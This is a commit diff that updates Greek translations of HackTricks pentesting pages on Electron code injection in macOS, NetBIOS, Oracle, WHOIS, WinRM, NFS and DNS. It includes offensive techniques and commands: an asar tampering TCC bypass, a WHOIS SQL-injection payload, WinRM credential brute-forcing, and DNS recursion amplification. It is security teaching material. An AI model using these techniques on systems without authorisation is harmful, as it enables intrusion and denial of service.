mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
007453d55b
commit
e2f3a57e96
@ -5,21 +5,21 @@
|
||||
## Basic Information
|
||||
|
||||
Αν δεν ξέρετε τι είναι το Electron, μπορείτε να βρείτε [**πολλές πληροφορίες εδώ**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Αλλά προς το παρόν, απλά να ξέρετε ότι το Electron τρέχει **node**.\
|
||||
Και το node έχει κάποιες **παραμέτρους** και **μεταβλητές περιβάλλοντος** που μπορούν να χρησιμοποιηθούν για να **εκτελέσουν άλλο κώδικα** εκτός από το υποδεικνυόμενο αρχείο.
|
||||
Και το node έχει κάποιες **παραμέτρους** και **μεταβλητές περιβάλλοντος** που μπορούν να χρησιμοποιηθούν για να **εκτελούν άλλο κώδικα** εκτός από το υποδεικνυόμενο αρχείο.
|
||||
|
||||
### Electron Fuses
|
||||
|
||||
Αυτές οι τεχνικές θα συζητηθούν στη συνέχεια, αλλά πρόσφατα το Electron έχει προσθέσει αρκετές **σημαίες ασφαλείας για να τις αποτρέψει**. Αυτές είναι οι [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) και αυτές είναι οι οποίες χρησιμοποιούνται για να **αποτρέψουν** τις εφαρμογές Electron στο macOS από το **να φορτώνουν αυθαίρετο κώδικα**:
|
||||
Αυτές οι τεχνικές θα συζητηθούν στη συνέχεια, αλλά πρόσφατα το Electron έχει προσθέσει αρκετές **σημαίες ασφαλείας για να τις αποτρέψει**. Αυτές είναι οι [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) και αυτές είναι οι οποίες χρησιμοποιούνται για να **αποτρέπουν** τις εφαρμογές Electron στο macOS από το **να φορτώνουν αυθαίρετο κώδικα**:
|
||||
|
||||
- **`RunAsNode`**: Αν είναι απενεργοποιημένο, αποτρέπει τη χρήση της μεταβλητής περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** για την έγχυση κώδικα.
|
||||
- **`EnableNodeCliInspectArguments`**: Αν είναι απενεργοποιημένο, παράμετροι όπως `--inspect`, `--inspect-brk` δεν θα γίνουν σεβαστοί. Αποφεύγοντας αυτόν τον τρόπο για να εγχυθεί κώδικας.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Αν είναι ενεργοποιημένο, το φορτωμένο **`asar`** **αρχείο** θα **επικυρωθεί** από το macOS. **Αποτρέποντας** με αυτόν τον τρόπο **την έγχυση κώδικα** τροποποιώντας τα περιεχόμενα αυτού του αρχείου.
|
||||
- **`EnableNodeCliInspectArguments`**: Αν είναι απενεργοποιημένο, παράμετροι όπως `--inspect`, `--inspect-brk` δεν θα γίνονται σεβαστοί. Αποφεύγοντας αυτόν τον τρόπο για να εγχέεται κώδικας.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Αν είναι ενεργοποιημένο, το φορτωμένο **`asar`** **αρχείο** θα **επικυρώνεται** από το macOS. **Αποτρέποντας** με αυτόν τον τρόπο **την έγχυση κώδικα** τροποποιώντας τα περιεχόμενα αυτού του αρχείου.
|
||||
- **`OnlyLoadAppFromAsar`**: Αν αυτό είναι ενεργοποιημένο, αντί να ψάχνει να φορτώσει με την εξής σειρά: **`app.asar`**, **`app`** και τελικά **`default_app.asar`**. Θα ελέγξει και θα χρησιμοποιήσει μόνο το app.asar, διασφαλίζοντας έτσι ότι όταν **συνδυάζεται** με τη σημαία **`embeddedAsarIntegrityValidation`** είναι **αδύνατο** να **φορτωθεί μη επικυρωμένος κώδικας**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Αν είναι ενεργοποιημένο, η διαδικασία του προγράμματος περιήγησης χρησιμοποιεί το αρχείο που ονομάζεται `browser_v8_context_snapshot.bin` για το V8 snapshot της.
|
||||
|
||||
Μια άλλη ενδιαφέρουσα σημαία που δεν θα αποτρέπει την έγχυση κώδικα είναι:
|
||||
|
||||
- **EnableCookieEncryption**: Αν είναι ενεργοποιημένο, το cookie store στον δίσκο είναι κρυπτογραφημένο χρησιμοποιώντας κλειδιά κρυπτογραφίας επιπέδου OS.
|
||||
- **EnableCookieEncryption**: Αν είναι ενεργοποιημένο, το cookie store στον δίσκο κρυπτογραφείται χρησιμοποιώντας κλειδιά κρυπτογραφίας επιπέδου OS.
|
||||
|
||||
### Checking Electron Fuses
|
||||
|
||||
@ -37,24 +37,24 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
|
||||
OnlyLoadAppFromAsar is Enabled
|
||||
LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### Τροποποίηση των Fuses του Electron
|
||||
### Τροποποίηση Ηλεκτρονικών Ασφαλειών
|
||||
|
||||
Όπως αναφέρουν οι [**τεκμηριώσεις**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), η διαμόρφωση των **Fuses του Electron** είναι ρυθμισμένη μέσα στο **δυαδικό αρχείο του Electron** το οποίο περιέχει κάπου τη συμβολοσειρά **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
Όπως αναφέρουν οι [**τεκμηριώσεις**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), η διαμόρφωση των **Ηλεκτρονικών Ασφαλειών** είναι ρυθμισμένη μέσα στο **Ηλεκτρονικό δυαδικό** που περιέχει κάπου τη συμβολοσειρά **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
|
||||
Στις εφαρμογές macOS, αυτό είναι συνήθως στο `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδεικνύει αν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλά τροποποιήστε τον κωδικό hex (`0x30` είναι `0` και `0x31` είναι `1`) για να **τροποποιήσετε τις τιμές ασφάλειας**.
|
||||
Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδεικνύει αν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλώς τροποποιήστε τον κωδικό hex (`0x30` είναι `0` και `0x31` είναι `1`) για να **τροποποιήσετε τις τιμές ασφάλειας**.
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Σημειώστε ότι αν προσπαθήσετε να **επικαλύψετε** το **`Electron Framework` binary** μέσα σε μια εφαρμογή με αυτούς τους τροποποιημένους byte, η εφαρμογή δεν θα εκτελείται.
|
||||
Σημειώστε ότι αν προσπαθήσετε να **επικαλύψετε** το **`Electron Framework`** δυαδικό αρχείο μέσα σε μια εφαρμογή με αυτές τις τροποποιημένες bytes, η εφαρμογή δεν θα εκτελείται.
|
||||
|
||||
## RCE προσθήκη κώδικα σε εφαρμογές Electron
|
||||
|
||||
Μπορεί να υπάρχουν **εξωτερικά JS/HTML αρχεία** που χρησιμοποιεί μια εφαρμογή Electron, οπότε ένας επιτιθέμενος θα μπορούσε να εισάγει κώδικα σε αυτά τα αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής.
|
||||
Μπορεί να υπάρχουν **εξωτερικά αρχεία JS/HTML** που χρησιμοποιεί μια εφαρμογή Electron, οπότε ένας επιτιθέμενος θα μπορούσε να εισάγει κώδικα σε αυτά τα αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ωστόσο, αυτή τη στιγμή υπάρχουν 2 περιορισμοί:
|
||||
@ -64,7 +64,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
||||
>
|
||||
> Κάνοντάς το αυτό το μονοπάτι επίθεσης πιο περίπλοκο (ή αδύνατο).
|
||||
|
||||
Σημειώστε ότι είναι δυνατόν να παρακαμφθεί η απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** αντιγράφοντας την εφαρμογή σε έναν άλλο φάκελο (όπως **`/tmp`**), μετονομάζοντας το φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιώντας** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, μετονομάζοντάς το πίσω σε **`app.app/Contents`** και εκτελώντας το.
|
||||
Σημειώστε ότι είναι δυνατόν να παρακαμφθεί η απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** αντιγράφοντας την εφαρμογή σε άλλο φάκελο (όπως **`/tmp`**), μετονομάζοντας το φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιώντας** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, μετονομάζοντάς το πίσω σε **`app.app/Contents`** και εκτελώντας το.
|
||||
|
||||
Μπορείτε να αποσυμπιέσετε τον κώδικα από το αρχείο asar με:
|
||||
```bash
|
||||
|
@ -4,22 +4,22 @@
|
||||
|
||||
## NetBios Name Service
|
||||
|
||||
**Η Υπηρεσία Ονομάτων NetBIOS** παίζει κρίσιμο ρόλο, περιλαμβάνοντας διάφορες υπηρεσίες όπως **καταχώριση και επίλυση ονομάτων**, **διανομή datagram**, και **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία.
|
||||
**NetBIOS Name Service** παίζει κρίσιμο ρόλο, περιλαμβάνοντας διάφορες υπηρεσίες όπως **καταχώριση και επίλυση ονομάτων**, **διανομή datagram**, και **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία.
|
||||
|
||||
[Από την Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
|
||||
- Υπηρεσία ονομάτων για καταχώριση και επίλυση ονομάτων (θύρες: 137/udp και 137/tcp).
|
||||
- Υπηρεσία διανομής datagram για επικοινωνία χωρίς σύνδεση (θύρα: 138/udp).
|
||||
- Υπηρεσία συνεδρίας για επικοινωνία με σύνδεση (θύρα: 139/tcp).
|
||||
|
||||
### Υπηρεσία Ονομάτων
|
||||
### Name Service
|
||||
|
||||
Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας εκπομπής** όπου αποστέλλεται ένα πακέτο "Ερώτησης Ονόματος". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή Υπηρεσίας Ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC.
|
||||
Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας broadcast** όπου αποστέλλεται ένα πακέτο "Name Query". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή υπηρεσίας ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
Καταμετρώντας μια υπηρεσία NetBIOS μπορείτε να αποκτήσετε τα ονόματα που χρησιμοποιεί ο διακομιστής και τη διεύθυνση MAC του διακομιστή.
|
||||
Αναγνωρίζοντας μια υπηρεσία NetBIOS μπορείτε να αποκτήσετε τα ονόματα που χρησιμοποιεί ο διακομιστής και τη διεύθυνση MAC του διακομιστή.
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
@ -34,7 +34,7 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
### Session Service
|
||||
|
||||
Για τις συνδεδεμένες αλληλεπιδράσεις, η **Session Service** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Session Request" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με το TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων.
|
||||
Για τις συνδεδεμένες αλληλεπιδράσεις, η **Session Service** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Session Request" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με την TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων.
|
||||
|
||||
Η μετάδοση δεδομένων μέσα σε μια συνεδρία περιλαμβάνει **Session Message packets**, με τις συνεδρίες να τερματίζονται κλείνοντας τη σύνδεση TCP.
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
## Basic Information
|
||||
|
||||
Η βάση δεδομένων Oracle (Oracle DB) είναι ένα σύστημα διαχείρισης σχεσιακών βάσεων δεδομένων (RDBMS) από την Oracle Corporation (από [εδώ](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
|
@ -13,17 +13,17 @@
|
||||
```
|
||||
## Περίληψη
|
||||
|
||||
1. **Αριθμητική Έκδοση**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες.
|
||||
1. **Έκδοση Αρίθμησης**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες.
|
||||
2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο για να καθιερωθεί η επικοινωνία.
|
||||
3. **Αριθμητική/Bruteforce Όνομα SID**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID).
|
||||
3. **Έκδοση Αρίθμησης/Bruteforce SID Name**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID).
|
||||
4. **Bruteforce Διαπιστευτηρίων**: Προσπαθήστε να αποκτήσετε πρόσβαση στο ανακαλυφθέν SID.
|
||||
5. **Εκτέλεση Κώδικα**: Προσπαθήστε να εκτελέσετε κώδικα στο σύστημα.
|
||||
|
||||
Για να χρησιμοποιήσετε τα modules MSF oracle, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Δημοσιεύσεις
|
||||
## Αναρτήσεις
|
||||
|
||||
Ελέγξτε αυτές τις δημοσιεύσεις:
|
||||
Ελέγξτε αυτές τις αναρτήσεις:
|
||||
|
||||
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
|
@ -22,7 +22,7 @@ echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
|
||||
.png>)
|
||||
|
||||
Επίσης, η υπηρεσία WHOIS χρειάζεται πάντα να χρησιμοποιεί μια **βάση δεδομένων** για να αποθηκεύει και να εξάγει τις πληροφορίες. Έτσι, μια πιθανή **SQLInjection** θα μπορούσε να είναι παρούσα όταν **ερωτάτε** τη βάση δεδομένων για κάποιες πληροφορίες που παρέχονται από τον χρήστη. Για παράδειγμα, κάνοντας: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` θα μπορούσατε να **εξάγετε όλα** τα **στοιχεία** που είναι αποθηκευμένα στη βάση δεδομένων.
|
||||
Επίσης, η υπηρεσία WHOIS χρειάζεται πάντα να χρησιμοποιεί μια **βάση δεδομένων** για να αποθηκεύει και να εξάγει τις πληροφορίες. Έτσι, μια πιθανή **SQLInjection** θα μπορούσε να είναι παρούσα όταν **ερωτάτε** τη βάση δεδομένων για κάποιες πληροφορίες που παρέχονται από τον χρήστη. Για παράδειγμα, κάνοντας: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` θα μπορούσατε να **εξάγετε όλες** τις **πληροφορίες** που είναι αποθηκευμένες στη βάση δεδομένων.
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -20,17 +20,17 @@
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
Αυτή η προσέγγιση περιλαμβάνει την προσθήκη ενός wildcard στη ρύθμιση `trustedhosts`, ένα βήμα που απαιτεί προσεκτική εξέταση λόγω των επιπτώσεών του. Επίσης, σημειώνεται ότι η αλλαγή του τύπου δικτύου από "Public" σε "Work" μπορεί να είναι απαραίτητη στη μηχανή του επιτιθέμενου.
|
||||
Αυτή η προσέγγιση περιλαμβάνει την προσθήκη ενός wildcard στη ρύθμιση `trustedhosts`, ένα βήμα που απαιτεί προσεκτική εξέταση λόγω των επιπτώσεών του. Σημειώνεται επίσης ότι η αλλαγή του τύπου δικτύου από "Public" σε "Work" μπορεί να είναι απαραίτητη στη μηχανή του επιτιθέμενου.
|
||||
|
||||
Επιπλέον, το WinRM μπορεί να **ενεργοποιηθεί απομακρυσμένα** χρησιμοποιώντας την εντολή `wmic`, όπως φαίνεται παρακάτω:
|
||||
```powershell
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
Αυτή η μέθοδος επιτρέπει την απομακρυσμένη ρύθμιση του WinRM, ενισχύοντας την ευελιξία στη διαχείριση των Windows μηχανών από μακριά.
|
||||
Αυτή η μέθοδος επιτρέπει την απομακρυσμένη ρύθμιση του WinRM, ενισχύοντας την ευελιξία στη διαχείριση των Windows μηχανών από απόσταση.
|
||||
|
||||
### Δοκιμή αν είναι ρυθμισμένο
|
||||
|
||||
Για να επαληθεύσετε τη ρύθμιση της μηχανής επίθεσης σας, χρησιμοποιείται η εντολή `Test-WSMan` για να ελέγξετε αν ο στόχος έχει ρυθμισμένο σωστά το WinRM. Εκτελώντας αυτή την εντολή, θα πρέπει να περιμένετε να λάβετε λεπτομέρειες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, υποδεικνύοντας επιτυχημένη ρύθμιση. Παρακάτω παρατίθενται παραδείγματα που δείχνουν την αναμενόμενη έξοδο για έναν ρυθμισμένο στόχο σε σύγκριση με έναν μη ρυθμισμένο:
|
||||
Για να επαληθεύσετε τη ρύθμιση της μηχανής επίθεσης σας, χρησιμοποιείται η εντολή `Test-WSMan` για να ελέγξει αν ο στόχος έχει ρυθμισμένο σωστά το WinRM. Εκτελώντας αυτή την εντολή, θα πρέπει να περιμένετε να λάβετε λεπτομέρειες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, υποδεικνύοντας επιτυχημένη ρύθμιση. Παρακάτω παρατίθενται παραδείγματα που δείχνουν την αναμενόμενη έξοδο για έναν ρυθμισμένο στόχο σε σύγκριση με έναν μη ρυθμισμένο:
|
||||
|
||||
- Για έναν στόχο που **είναι** σωστά ρυθμισμένος, η έξοδος θα μοιάζει με αυτό:
|
||||
```bash
|
||||
@ -46,7 +46,7 @@ Test-WSMan <target-ip>
|
||||
|
||||
### Εκτέλεση εντολής
|
||||
|
||||
Για να εκτελέσετε `ipconfig` απομακρυσμένα σε έναν στόχο μηχανής και να δείτε την έξοδό του, κάντε:
|
||||
Για να εκτελέσετε το `ipconfig` απομακρυσμένα σε έναν στόχο μηχανής και να δείτε την έξοδό του, κάντε:
|
||||
```powershell
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
@ -87,7 +87,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
||||
|
||||
**Η συνεδρία θα εκτελείται σε μια νέα διαδικασία (wsmprovhost) μέσα στον "θύμα"**
|
||||
|
||||
### **Αναγκάζοντας το WinRM να ανοιχτεί**
|
||||
### **Αναγκάζοντας το WinRM να Ανοίξει**
|
||||
|
||||
Για να χρησιμοποιήσετε το PS Remoting και το WinRM αλλά ο υπολογιστής δεν είναι ρυθμισμένος, μπορείτε να το ενεργοποιήσετε με:
|
||||
```powershell
|
||||
@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
|
||||
### Brute Force
|
||||
|
||||
Προσοχή, η βίαιη επίθεση σε winrm μπορεί να αποκλείσει χρήστες.
|
||||
Προσοχή, η brute-forcing του winrm μπορεί να αποκλείσει χρήστες.
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -70,7 +70,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
### Επικίνδυνες ρυθμίσεις
|
||||
|
||||
- **Δικαιώματα Ανάγνωσης και Εγγραφής (`rw`):** Αυτή η ρύθμιση επιτρέπει τόσο την ανάγνωση όσο και την εγγραφή στο σύστημα αρχείων. Είναι σημαντικό να εξεταστούν οι επιπτώσεις της παροχής τέτοιας ευρείας πρόσβασης.
|
||||
- **Δικαιώματα Ανάγνωσης και Εγγραφής (`rw`):** Αυτή η ρύθμιση επιτρέπει τόσο την ανάγνωση όσο και την εγγραφή στο σύστημα αρχείων. Είναι σημαντικό να εξετάσετε τις επιπτώσεις της παροχής τέτοιας ευρείας πρόσβασης.
|
||||
|
||||
- **Χρήση Ανασφαλών Θυρών (`insecure`):** Όταν είναι ενεργοποιημένο, αυτό επιτρέπει στο σύστημα να χρησιμοποιεί θύρες πάνω από το 1024. Η ασφάλεια των θυρών πάνω από αυτό το εύρος μπορεί να είναι λιγότερο αυστηρή, αυξάνοντας τον κίνδυνο.
|
||||
|
||||
@ -80,7 +80,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
|
||||
- **Μη Συμπίεση Όλων των Χρηστών (`no_all_squash`):** Αυτή η επιλογή διασφαλίζει ότι οι ταυτότητες χρηστών διατηρούνται σε όλο το σύστημα, κάτι που θα μπορούσε να οδηγήσει σε ζητήματα δικαιωμάτων και ελέγχου πρόσβασης αν δεν διαχειριστεί σωστά.
|
||||
|
||||
## Κλιμάκωση Προνομίων χρησιμοποιώντας παραμορφώσεις NFS
|
||||
## Κλιμάκωση Προνομίων χρησιμοποιώντας κακές ρυθμίσεις NFS
|
||||
|
||||
[NFS no_root_squash και no_all_squash κλιμάκωση προνομίων](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
|
||||
|
||||
|
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
### Διαφορετικοί Διακομιστές DNS
|
||||
|
||||
- **Διακομιστές Ρίζας DNS**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι διακομιστές χαμηλότερου επιπέδου δεν απαντούν. Η Internet Corporation for Assigned Names and Numbers (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13.
|
||||
- **Διακομιστές Ρίζας DNS**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι διακομιστές χαμηλότερου επιπέδου δεν απαντούν. Ο Οργανισμός Διαδικτυακών Ονομάτων και Αριθμών (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13.
|
||||
- **Αυθεντικοί Διακομιστές Ονομάτων**: Αυτοί οι διακομιστές έχουν τον τελικό λόγο για ερωτήματα στις καθορισμένες ζώνες τους, προσφέροντας οριστικές απαντήσεις. Αν δεν μπορούν να παρέχουν μια απάντηση, το ερώτημα κλιμακώνεται στους διακομιστές ρίζας.
|
||||
- **Μη αυθεντικοί Διακομιστές Ονομάτων**: Χωρίς ιδιοκτησία πάνω σε ζώνες DNS, αυτοί οι διακομιστές συγκεντρώνουν πληροφορίες τομέα μέσω ερωτημάτων σε άλλους διακομιστές.
|
||||
- **Διακομιστής Caching DNS**: Αυτός ο τύπος διακομιστή απομνημονεύει τις προηγούμενες απαντήσεις ερωτημάτων για μια καθορισμένη χρονική περίοδο για να επιταχύνει τους χρόνους απόκρισης για μελλοντικά αιτήματα, με τη διάρκεια της μνήμης cache να καθορίζεται από τον αυθεντικό διακομιστή.
|
||||
@ -95,11 +95,11 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
> [!NOTE]
|
||||
> Αν μπορείτε να βρείτε υποτομείς που επιλύονται σε εσωτερικές διευθύνσεις IP, θα πρέπει να προσπαθήσετε να εκτελέσετε μια αντίστροφη BF DNS στους NSs του τομέα ζητώντας για εκείνο το εύρος IP.
|
||||
> Αν μπορείτε να βρείτε υποτομείς που επιλύονται σε εσωτερικές διευθύνσεις IP, θα πρέπει να προσπαθήσετε να εκτελέσετε μια αντίστροφη BF DNS στους NSs του τομέα ζητώντας για εκείνη την περιοχή IP.
|
||||
|
||||
Ένα άλλο εργαλείο για αυτό: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
Μπορείτε να κάνετε ερωτήσεις για αντίστροφα εύρη IP στο [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (αυτό το εργαλείο είναι επίσης χρήσιμο με το BGP).
|
||||
Μπορείτε να κάνετε ερωτήσεις για αντίστροφες περιοχές IP στο [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (αυτό το εργαλείο είναι επίσης χρήσιμο με το BGP).
|
||||
|
||||
### DNS - Subdomains BF
|
||||
```bash
|
||||
@ -126,7 +126,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
||||
```
|
||||
### IPv6
|
||||
|
||||
Brute force χρησιμοποιώντας "AAAA" αιτήσεις για να συγκεντρώσετε IPv6 των υποτομέων.
|
||||
Brute force χρησιμοποιώντας "AAAA" αιτήματα για να συγκεντρώσετε IPv6 των υποτομέων.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
@ -136,7 +136,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
|
||||
```
|
||||
### DNS Recursion DDoS
|
||||
|
||||
Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον θιγόμενο διακομιστή**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν να έχουν τις μεγαλύτερες απαντήσεις.\
|
||||
Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον θιγόμενο διακομιστή**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν για να έχουν τις μεγαλύτερες απαντήσεις.\
|
||||
Ο τρόπος για να **ελέγξετε** αν ένα DNS υποστηρίζει **αναδρομή** είναι να κάνετε ερώτηση σε ένα όνομα τομέα και να **ελέγξετε** αν η **σημαία "ra"** (_διαθέσιμη αναδρομή_) είναι στην απάντηση:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
@ -152,12 +152,12 @@ dig google.com A @<IP>
|
||||
|
||||
### Μήνυμα σε ανύπαρκτο λογαριασμό
|
||||
|
||||
